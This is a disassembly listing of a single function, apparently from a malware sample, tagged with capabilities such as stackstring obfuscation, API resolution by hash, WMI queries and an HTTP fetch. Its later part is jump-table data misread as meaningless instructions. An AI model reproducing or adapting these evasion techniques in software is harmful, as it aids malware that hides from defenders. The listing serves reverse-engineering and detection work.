Function at 0x43f950
Capabilities:
Authenticate hmac
Connect to wmi namespace via wbemlocator
Contain obfuscated stackstrings
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa8
mov esi, dword [0x4561e0]
mov dword [esp + 0x2c], 0xe93febcf
mov dword [esp + 0x30], 0xed1bef17
mov dword [esp + 0x34], 0xf119f318
mov dword [esp + 0x38], 0xf532f703
mov dword [esp + 0x3c], 0xf915fb02
mov dword [esp + 0x40], 0xfd15ff02
mov dword [esp + 0x44], 0x818283d7
mov word [esp + 0x48], 0
mov dword [esp + 0x7c], 0
mov eax, dword [esp + 0x7c]
cmp eax, 0x1d
ja 0x43f9eb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x7c]
movzx eax, byte [esp + eax + 0x2c]
push dword [esp + 0x7c]
push eax
call fcn.00443490
add esp, 8
mov ecx, dword [esp + 0x7c]
mov byte [esp + ecx + 0x2c], al
inc dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
cmp eax, 0x1e
jb 0x43f9c0
lea eax, [esp + 0x8c]
lea edi, [esp + 0x7c]
lea ebx, [esp + 0x2c]
push eax
push 8
push edi
push 0xd
push ebx
push 0
call esi
shr eax, 0x1f
jmp dword [eax*4 + 0x453b78]
mov word [esp + 0x7c], 0x43
mov word [esp + 0x7e], 0x3a
mov eax, dword [case.0x43fa08.0]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov dword [esp + 0x80], 0x5c
mov dword [esp + 0x98], 0
mov dword [esp + 0x94], 0
mov dword [esp + 0x90], 0
mov dword [esp + 0x8c], 0
mov dword [esp + 0x28], 0
lea eax, [esp + 0x28]
push eax
push 0x44dcd0
push 1
push 0
push 0x44dce0
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x453b90]
mov dword [esp + 0x2c], 0xf1afffae
mov dword [esp + 0x30], 0xf5a6f3a1
mov dword [esp + 0x34], 0xc9b3f758
mov dword [esp + 0x38], 0xcd95cb93
mov dword [esp + 0x3c], 0xc1bccf9a
mov word [esp + 0x40], 0xc3c0
mov dword [esp + 0x42], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x19
ja 0x43fb0b
nop
nop
mov eax, dword [esp + 8]
movzx eax, byte [esp + eax + 0x2c]
push dword [esp + 8]
push eax
call fcn.00443510
add esp, 8
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x2c], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x1a
jb 0x43fae0
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
lea edx, [esp + 0x24]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x453b98]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x40]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x453ba0]
mov dword [esp + 0x2c], 0x31ed3fd5
mov dword [esp + 0x30], 0x353233ec
mov dword [esp + 0x34], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0xb
ja 0x43fbbb
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
movzx eax, byte [esp + eax + 0x2c]
push dword [esp + 8]
push eax
call fcn.004435b0
add esp, 8
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x2c], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0xc
jb 0x43fb90
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x6c], eax
mov dword [esp + 0x2c], 0x19511b41
mov dword [esp + 0x30], 0x652d674c
mov dword [esp + 0x34], 0x613e6329
mov dword [esp + 0x38], 0x6d186f00
mov dword [esp + 0x3c], 0x69206b0c
mov dword [esp + 0x40], 0x75277736
mov dword [esp + 0x44], 0x71127327
mov dword [esp + 0x48], 0x7dc97f29
mov dword [esp + 0x4c], 0x79077bce
mov dword [esp + 0x50], 0x45e74706
mov dword [esp + 0x54], 0x4115430a
mov dword [esp + 0x58], 0x4d134f11
mov word [esp + 0x5c], 0x4b4c
mov dword [esp + 0x5e], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x35
ja 0x43fc7b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
movzx eax, byte [esp + eax + 0x2c]
push dword [esp + 8]
push eax
call fcn.00443620
add esp, 8
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x2c], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x36
jb 0x43fc50
mov dword [esp + 0xa0], esi
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x24]
mov ecx, dword [esi]
lea edx, [esp + 0x78]
push edx
push 0
push 0x30
mov dword [esp + 0xa8], eax
push eax
push dword [esp + 0x7c]
push esi
call dword [ecx + 0x50]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x453ba8]
mov dword [esp + 0x70], 0
mov eax, dword [esp + 0x78]
mov ecx, dword [eax]
lea edx, [esp + 0x70]
lea esi, [esp + 0x74]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esp + 0x70], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
jmp dword [eax*4 + 0x453bb0]
lea eax, [esp + 8]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov esi, dword [esp + 0x74]
mov dword [esp + 0x2c], 0x13ff11e3
mov dword [esp + 0x30], 0x1ff71d8e
mov dword [esp + 0x34], 0x1b8e19f9
mov dword [esp + 0x38], 0x79b05f2
mov dword [esp + 0x3c], 0x3e00195
mov dword [esp + 0x40], 0xf9c0de1
mov dword [esp + 0x44], 0x908
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x1b
ja 0x43fd7b
nop
nop
nop
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x2c]
push dword [esp + 4]
push eax
call fcn.004436a0
add esp, 8
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x2c], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x1c
jb 0x43fd50
mov eax, dword [esi]
push 0
push 0
lea ecx, [esp + 0x10]
push ecx
push 0
push ebx
push esi
call dword [eax + 0x10]
test eax, eax
setns al
cmp word [esp + 8], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x453bb8]
push dword [esp + 0x10]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x20], eax
lea eax, [edx + eax*2]
mov dword [esp + 0x68], eax
movzx ecx, word [edx]
test cx, cx
mov dword [esp + 0x18], edx
je 0x43fe08
xor edi, edi
mov eax, edx
jmp 0x43fde0
add edi, edx
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
je 0x43fe0a
cmp eax, dword [esp + 0x68]
jae 0x43fe0a
movzx esi, cx
cmp esi, 0x800
mov ecx, 3
sbb ecx, 0
mov edx, 1
cmp esi, 0x80
jb 0x43fdd2
mov edx, ecx
jmp 0x43fdd2
xor edi, edi
lea eax, [edi + 1]
mov dword [esp + 0x64], eax
push eax
call fcn.0040c610
add esp, 4
mov dword [esp + 0x1c], eax
test edi, edi
mov ecx, dword [esp + 0x18]
jle 0x43fefc
mov eax, dword [esp + 0x1c]
cmp dword [esp + 0x20], 0
jle 0x43fefc
mov eax, dword [esp + 0x1c]
lea edx, [eax + edi]
mov dword [esp + 0x20], edx
add dword [esp + 0x64], eax
add ecx, 2
movzx edx, word [ecx - 2]
test dx, dx
je 0x43fefc
cmp dx, 0x7f
ja 0x43fe67
mov byte [eax], dl
mov esi, 1
jmp 0x43fedb
mov dword [esp + 0x18], ecx
mov ecx, eax
not ecx
add ecx, dword [esp + 0x64]
movzx ebx, dx
cmp ecx, 2
jb 0x43fea1
cmp ebx, 0x7ff
ja 0x43fea1
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov byte [eax], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
mov esi, 2
mov ecx, dword [esp + 0x18]
jmp 0x43fedb
xor esi, esi
cmp ecx, 3
mov ecx, dword [esp + 0x18]
jb 0x43fedb
mov ecx, ebx
shr ecx, 0xc
or cl, 0xe0
mov byte [eax], cl
shr ebx, 6
mov ecx, ebx
xor cl, 0xc0
or bl, 0x3f
and bl, cl
mov ecx, dword [esp + 0x18]
add bl, 0x80
mov byte [eax + 1], bl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 2], dl
mov esi, 3
add eax, esi
cmp eax, dword [esp + 0x20]
jae 0x43fef8
mov edx, ecx
add ecx, 2
cmp edx, dword [esp + 0x68]
lea ebx, [esp + 0x2c]
jb 0x43fe4b
jmp 0x43fefc
lea ebx, [esp + 0x2c]
mov byte [eax], 0
add edi, 0xfffffffc
xor ecx, ecx
xor eax, eax
cmp ecx, 4
setb al
jmp dword [eax*4 + 0x453bc0]
mov eax, ecx
or eax, 4
mov edx, ecx
and edx, 4
imul eax, edx
mov esi, ecx
and esi, 0xfffffffb
xor edx, 4
imul edx, esi
add eax, dword [esp + 0x1c]
mov eax, dword [edx + eax]
mov dword [esp + ecx*4 + 0x8c], eax
xor eax, eax
sub edi, 4
setb al
jmp dword [eax*4 + 0x453bc8]
inc ecx
xor eax, eax
cmp ecx, 4
setb al
jmp dword [eax*4 + 0x453bc0]
lea edi, [esp + 0x7c]
jmp dword [0x453bd0]
push dword [esp + 0x1c]
call fcn.0040c620
add esp, 4
lea eax, [esp + 8]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x74]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x78]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x6c]
call esi
push dword [esp + 0x9c]
call esi
mov esi, dword [esp + 0xa0]
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 0x2c], 0
push 0xefddb36b
push dword [0x4561d8]
call fcn.00449680
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push edi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x453bd8]
mov esi, dword [ebp + 8]
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x8c], eax
xor edi, edi
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x453be0]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x453be8]
jmp dword [0x453bf8]
xor eax, eax
cmp dword [esp + edi*4 + 0x8c], 0
sete al
jmp dword [eax*4 + 0x453c00]
jmp dword [0x453c10]
mov eax, edi
jmp 0x440073
lea eax, [edi - 1]
imul eax, dword [esp + eax*4 + 0x8c], 0x1a5845
add eax, 0xebde8a13
mov dword [esp + edi*4 + 0x8c], eax
push 0x10
push 9
push esi
push eax
call fcn.004363c0
add esp, 0x10
mov edx, eax
neg edx
mov ecx, eax
nop
nop
dec edx
cmp byte [ecx], 0
lea ecx, [ecx + 1]
jne case.default.0x4400c4
mov ebx, edx
not ebx
and edx, eax
mov ecx, eax
not ecx
and ecx, ebx
sub ecx, edx
add ecx, 0xfffffff8
xor ebx, ebx
cmp ecx, 0
setne bl
xor edx, edx
jmp dword [ebx*4 + 0x453c18]
mov byte [eax + edx - 1], 0x30
dec edx
xor ebx, ebx
cmp ecx, edx
setne bl
jmp dword [ebx*4 + 0x453c18]
add esi, 8
mov eax, edi
and eax, 1
xor edi, 1
lea edi, [edi + eax*2]
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x453be0]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
jmp 0x4403ee
mov ebp, dword [esp + 0x3c]
push 0x400
call fcn.00443810
add esp, 4
mov esi, eax
mov edi, dword [esp + 0x20]
mov dword [esp + 4], 0x303f3e3d
mov byte [esp + 8], 0
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x18]
cmp eax, 4
ja 0x4401ab
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x18]
movzx eax, byte [esp + eax + 4]
push dword [esp + 0x18]
push eax
call fcn.00442eb0
add esp, 8
mov ecx, dword [esp + 0x18]
mov byte [esp + ecx + 4], al
inc dword [esp + 0x18]
mov eax, dword [esp + 0x18]
cmp eax, 5
jb 0x440180
mov eax, dword [esp + 4]
mov ecx, dword [0x4561e4]
test ecx, ecx
je 0x440207
xor edx, edx
mov ebx, dword [0x4561e8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edx*8], 0x77a9e0c4
je 0x4401e0
inc edx
cmp ecx, edx
jne 0x4401d0
jmp 0x440207
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, eax
je 0x440207
lea eax, [esp + 0x18]
push 0x2f
push 0x400
push esi
push eax
push edi
push 5
push dword [0x4561ec]
push ecx
call fcn.00446a00
add esp, 0x20
mov ecx, dword [case.0x43fcad.34]
nop
nop
nop
jmp ecx
not eax
shr eax, 0x1f
xor edi, edi
mov dword [esp + 0x14], 0
jmp dword [eax*4 + 0x453c38]
xor eax, eax
cmp edi, dword [esi]
setb al
mov dword [esp + 0x14], 0
jmp dword [eax*4 + 0x453c40]
mov eax, dword [case.0x43fcad.36]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
push esi
call fcn.004438a0
add esp, 4
mov esi, dword [esp + 0x20]
mov dword [esp + 4], 0x303f3e3d
mov byte [esp + 8], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 4
ja 0x4402a6
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.00442eb0
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 5
jb 0x440280
mov eax, dword [0x4561e4]
test eax, eax
je 0x4403e8
mov ecx, dword [esp + 4]
xor edx, edx
mov edi, dword [0x4561e8]
nop
cmp dword [edi + edx*8], 0x625b6034
je 0x4403ce
inc edx
cmp eax, edx
jne 0x4402c0
jmp 0x4403e8
mov ebp, ebx
lea ecx, [esp + 4]
call fcn.00443cc0
inc edi
xor eax, eax
cmp edi, dword [esi]
setb al
jmp dword [eax*4 + 0x453c40]
jmp dword [0x453c58]
mov eax, dword [esi + edi*4 + 4]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea ecx, [esp + 4]
push 0
push eax
call fcn.00443b30
mov eax, dword [esi + edi*4 + 4]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea ecx, [esp + 4]
push 0
push eax
call fcn.00443b30
jmp dword [0x453c60]
xor eax, eax
mov ecx, ebp
neg ecx
mov ebx, ebp
mov ebp, dword [esp + 0x40]
sbb eax, ebp
setl al
movzx ecx, al
mov eax, ecx
shl eax, 0x14
shl ecx, 0x15
not ecx
add ecx, eax
mov edx, ecx
and edx, 0xfff00000
xor edx, 0xfff00001
and edx, ecx
neg edx
add eax, edx
add eax, 2
lea ecx, [esp + 4]
push eax
call fcn.00443b50
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x453c78]
lea ecx, [esp + 4]
push ebp
push ebx
push 0
call fcn.00443d80
test eax, eax
setns al
mov dword [esp + 0x14], eax
jmp case.0x43fcad.52
mov eax, dword [edi + edx*8 + 4]
cmp eax, ecx
je 0x4403e8
push esi
push 1
push dword [0x4561ec]
push eax
call fcn.00446a00
add esp, 0x10
mov eax, dword [esp + 0x14]
and al, 1
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
int3
inc dword [ebx]
mov ah, 0xfc
inc ebx
add byte [eax - 0xaffbc01], dl
cld
inc ebx
add byte [ebx - 1], bh
inc ebx
add byte [edi + 0x650043fd], ah
inc dword [ebx]
and bh, bh
inc ebx
add byte [ebp - 1], dl
inc ebx
add byte [ebp - 1], ah
inc ebx
add byte [edi - 1], ch
inc ebx
add byte [ebx - 1], bh
inc ebx
add byte [ecx], al
add dword [eax + eax + 0xa], eax
add byte [eax + eax + 1], al
add dword [eax + eax + 0x30], eax
inc esp
add byte [eax], dh
add byte [eax + eax + 0x60], al
add byte [eax + eax + 0x40], al
add byte [eax + eax + 0x40], al
add byte [eax + eax + 0x40], al
add byte [eax + eax + 0x46], al
add byte [eax + eax + 0x40], al
add byte [eax + eax + 0x60], al
add byte [eax + eax + 0x70], al
add byte [eax + eax + 0x60], al
add byte [eax + eax + 0x60], al
add byte [eax + eax + 0x66], al
add byte [eax + eax + 0x60], al
add byte [eax + eax - 0x1c], al
add byte [eax + eax - 0x30], al
add byte [eax + eax + 0x3d], al
add dword [eax + eax + 0x44], eax
add dword [eax + eax + 0x10], eax
add al, byte [eax + eax + 0x10]
add al, byte [eax + eax + 0x12]
add al, byte [eax + eax + 0x10]
add al, byte [eax + eax + 0x52]
add al, byte [eax + eax + 0x28]
add al, byte [eax + eax + 0x3e]
add al, byte [eax + eax - 6]
add al, byte [eax + eax + 0x50]
add al, byte [eax + eax + 0x50]
add al, byte [eax + eax + 0x50]
add al, byte [eax + eax + 0x52]
add al, byte [eax + eax + 0x30]
add eax, dword [eax + eax]
add eax, dword [eax + eax + 0x66]
add eax, dword [eax + eax + 0x30]
add eax, dword [eax + eax + 1]
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add dh, dh
add eax, dword [eax + eax + 1]
add byte [eax], al
add al, ah
add al, byte [eax + eax - 0x4d]
add eax, dword [eax + eax - 0x1a]
adc byte [eax + eax + 0x70], al
adc al, 0x44
add byte [eax + 0x14], dh
inc esp
add byte [edx + 0x16], ah
inc esp
add byte [0xc600440e], dl
adc byte [eax + eax - 0x5e], al
push ss
inc esp
add dh, dh
adc al, 0x44
add byte [edx - 0x50ffbbea], ah
push cs
inc esp
add byte [edi + 0x11], dh
inc esp
add ah, al
adc eax, 0xfa20044
inc esp
add byte [esi], ch
adc al, 0x44
add byte [eax + 0x13], ch
inc esp
add dh, cl
or al, 0x44
add byte [eax + 0x13], ch
inc esp
add byte [ecx - 0x65ffbbee], bl
adc al, 0x44
add byte [edi + 0x11], dl
inc esp
add dl, dh
adc eax, dword [eax + eax + 0x3d]
adc al, byte [eax + eax - 0xe]
adc eax, dword [eax + eax - 0x77]
adc al, 0x44
add byte [edx - 0x20ffbbec], bl
adc dword [eax + eax], eax
or eax, 0xec20044
inc esp
add dl, al
push cs
inc esp
add bl, dl
adc eax, dword [eax + eax - 0x30]
or eax, 0x11b90044
inc esp
add ah, cl
cmove eax, dword [eax]
lea ecx, [esp + eax*2]
add byte [ecx + 0x6d004417], al
or al, 0x44
add byte [ebx + 0xe], dl
inc esp
add byte [ebp + 0xc], ch
inc esp
add dh, dl
push ss
inc esp
add dl, al
push ss
inc esp
add cl, dh
or al, 0x44
add byte [ebx], dl
adc byte [eax + eax - 0xf], al
or al, 0x44
add cl, al
adc al, 0x44
add byte [ebx + edx + 0xc590044], cl
inc esp
add byte [ebx], dh
push cs
inc esp
add ah, ch
cmove eax, dword [eax]
mov ss, word [eax]
inc esp
add ah, ch
cmove eax, dword [eax]
cdq
adc dword [eax + eax + 0x4c], eax
adc dword [eax + eax + 0x4c], eax
adc dword [eax + eax - 0x46], eax
adc al, byte [eax + eax - 0x32]
adc al, byte [eax + eax + 0x7b]
push cs
inc esp
add dh, cl
adc al, byte [eax + eax + 0x7c]
adc eax, 0x12ce0044
inc esp
add byte [eax], al
adc al, 0x44
add ch, dl
push cs
inc esp
add byte [edi + 0x10], al
inc esp
add byte [edi + 0x47004413], bh
adc byte [eax + eax + 0x34], al
or eax, 0x173a0044
inc esp
add byte [edx], bh
pop ss
inc esp
add byte [ecx + 0x3d00440f], dl
adc eax, 0x10080044
inc esp
add byte [ebx + 0x12], ah
inc esp
add byte [0x27004415], bh
adc dword [eax + eax + 0x58], eax
adc byte [eax + eax - 0x2e], al
adc al, 0x44
add byte [ebx + edx + 0x44], dl
add byte [edi], ah
pop ss
inc esp
add byte [ecx], bh
or al, 0x44
add cl, ch
or eax, 0x13290044
inc esp
add byte [ecx], ch
adc eax, dword [eax + eax + 0x10]
adc al, byte [eax + eax - 0x78]
push ss
inc esp
add byte [edi], ah
adc eax, 0x17490044
inc esp
add bh, bh
adc al, byte [eax + eax - 0x5e]
adc byte [eax + eax + 0x7e], al
or eax, 0x16f80044
inc esp
add byte [edx + 0x16], al
inc esp
add byte [ebp + 0x15], bl
inc esp
add byte [edx + edx + 0x44], dh
add byte [ebp + 0x15], bl
inc esp
add byte [esi - 0x7ffbbf2], bl
push ss
inc esp
add byte [eax + 0x18004415], ch
cmp byte [eax + eax - 0x6d], al
cmp byte [eax + eax - 0x80], al
cmp byte [eax + eax - 0x80], al
cmp byte [eax + eax - 0x7e], al
cmp byte [eax + eax - 0x7e], al
cmp byte [eax + eax - 0x7e], al
cmp byte [eax + eax - 0x7e], al
cmp byte [eax + eax - 0x72], al
cmp byte [eax + eax - 0x72], al
cmp byte [eax + eax - 0x80], al
cmp byte [eax + eax - 0x58], al
cmp byte [eax + eax - 0x58], al
cmp byte [eax + eax - 0x58], al
cmp byte [eax + eax + 1], al
add byte [eax], al
add byte [eax - 0x49ffbbc8], ch
cmp byte [eax + eax + 6], al
cmp dword [eax + eax + 0xd], eax
cmp dword [eax + eax + 0x20], eax
cmp dword [eax + eax + 0x20], eax
cmp dword [eax + eax + 0x20], eax
cmp dword [eax + eax + 0x22], eax
cmp dword [eax + eax + 0x22], eax
cmp dword [eax + eax + 0x30], eax
cmp dword [eax + eax + 0x30], eax
cmp dword [eax + eax + 0x32], eax
cmp dword [eax + eax + 0x32], eax
cmp dword [eax + eax + 0x32], eax
cmp dword [eax + eax + 0x32], eax
cmp dword [eax + eax + 0x3c], eax
cmp dword [eax + eax + 0x3c], eax
cmp dword [eax + eax + 1], eax
add byte [eax], al
add byte [eax], ah
cmp dword [eax + eax + 0x30], eax
cmp dword [eax + eax - 1], eax
fild dword [edi]
invalid